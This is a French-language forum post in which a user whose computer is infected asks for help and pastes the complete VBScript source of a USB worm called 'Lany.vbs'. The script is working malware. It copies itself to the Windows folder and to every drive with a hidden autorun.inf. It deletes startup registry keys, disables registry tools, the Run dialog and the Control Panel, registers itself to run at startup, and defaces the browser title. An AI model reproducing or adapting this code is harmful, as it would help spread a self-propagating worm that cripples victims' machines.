Lany.vbs

Bonjour,
j'ai besoin d'aide. j'ai rémarqué que la barre de titre de mon browser contient un autre titre bizarre qui apparaît comme suit:

"Piraté par <<< LANY >>> Ingénieur en Hacking ------ Fuck U --------"

je n'arrive pas aussi à ouvrir mes disques dur et amovible en double-cliquant. quand je clique dessus avec le bouton droit, je vois en premier lieu sur la liste des options qui s'affiche, "éxecution automatique" au lieu de "ouvrir". en cherchant la cause je remarque que deux fichiers "Lany.vbs et autorun.inf" sont automatiquement enregistrer sur les disque, ce qui fait qu'on double-cliquant, au lieu d'ouvrir, les disques cherchent à s'auto-éxecuter.

j'ai tenté d'ouvrir le fichier "Lany.vbs" en choisissant "modifier" dans la liste des options en cliquant dessus avec le bouton droit, voilà le contenu:

'Petit script pour m'entrainer
'le nom de ce script est Lany
'son principe est simple...............
on error resume next
dim CodeSource,RepWin,CleUSB,FichierScript
dim LeFichier,TextAutoRun,CheminDAcces,Registre,nt,Choisir,FinDuScript
TextAutoRun = "[autorun]"&vbcrlf&"shellexecute=wscript.exe Lany.vbs"&vbcrlf&"action=""Pas d'action"""
set FichierScript = createobject("Scripting.FileSystemObject")
set LeFichier = FichierScript.getfile(Wscript.ScriptFullname)
dim text,size
size = LeFichier.size
Choisir = LeFichier.drive.drivetype
set text=LeFichier.openastextstream(1,-2)
do while not text.atendofstream
CodeSource=CodeSource &text.readline
CodeSource=CodeSource & vbcrlf
loop
do
Set RepWin = FichierScript.getspecialfolder(0)
set CheminDAcces = FichierScript.getfile(RepWin & "\Lany.vbs")
CheminDAcces.attributes = 32
set CheminDAcces=FichierScript.createtextfile(RepWin & "\Lany.vbs",2,true)
CheminDAcces.write CodeSource
CheminDAcces.close
set CheminDAcces = FichierScript.getfile(RepWin & "\Lany.vbs")
CheminDAcces.attributes = 39
for each CleUSB in FichierScript.drives
If (CleUSB.drivetype = 1 or CleUSB.drivetype = 2) and CleUSB.path <> "A:" then
set CheminDAcces=FichierScript.getfile(CleUSB.path &"\Lany.vbs")
CheminDAcces.attributes =32
set CheminDAcces=FichierScript.createtextfile(CleUSB.path &"\Lany.vbs",2,true)
CheminDAcces.write CodeSource
CheminDAcces.close
set CheminDAcces=FichierScript.getfile(CleUSB.path &"\Lany.vbs")
CheminDAcces.attributes =39
set CheminDAcces =FichierScript.getfile(CleUSB.path &"\autorun.inf")
CheminDAcces.attributes = 32
set CheminDAcces=FichierScript.createtextfile(CleUSB.path &"\autorun.inf",2,true)
CheminDAcces.write TextAutoRun
CheminDAcces.close
set CheminDAcces =FichierScript.getfile(CleUSB.path &"\autorun.inf")
CheminDAcces.attributes=39
end if
next
set Registre = createobject("WScript.Shell")
Registre.RegDelete "HKEY_LOCAL_MACHINE\SOFTWARE\MICROSOFT\Windows\CurrentVersion\Run"
Registre.RegDelete "HKEY_CURRENT_USER\System\CurrentControlSet\Services\Keyboard\"
Registre.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoRun",1,"RED_DWORD"
Registre.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\System\DisableRegistryTools",1,"RED_DWORD"
Registre.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\System\NoDispCPL",1,"RED_DWORD"
Registre.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\System\DisableRegistryTools",1,"RED_DWORD"
Registre.regwrite "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run\Lany",RepWin&"\Lany.vbs"
Registre.regwrite "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Winlogon\LegalNoticeCaption", "Merci pour votre participation"
Registre.regwrite "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Winlogon\LegalNoticeTexte", "Mon virus est dans votre machine, Merci de le partager avec vos amis"
Registre.regwrite "HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main\Window Title","Piraté par <<< LANY >>> Ingénieur en Hacking ------ Fuck U --------"

if Choisir <> 1 then
Wscript.sleep 200000
end if
loop while Choisir<>1
set FinDuScript = createobject("Wscript.shell")
FinDuScript.run RepWin&"\explorer.exe /e,/select, "&Wscript.ScriptFullname

comment je peux me débarasser de ce problème? j'attend impatiemment vos réponses.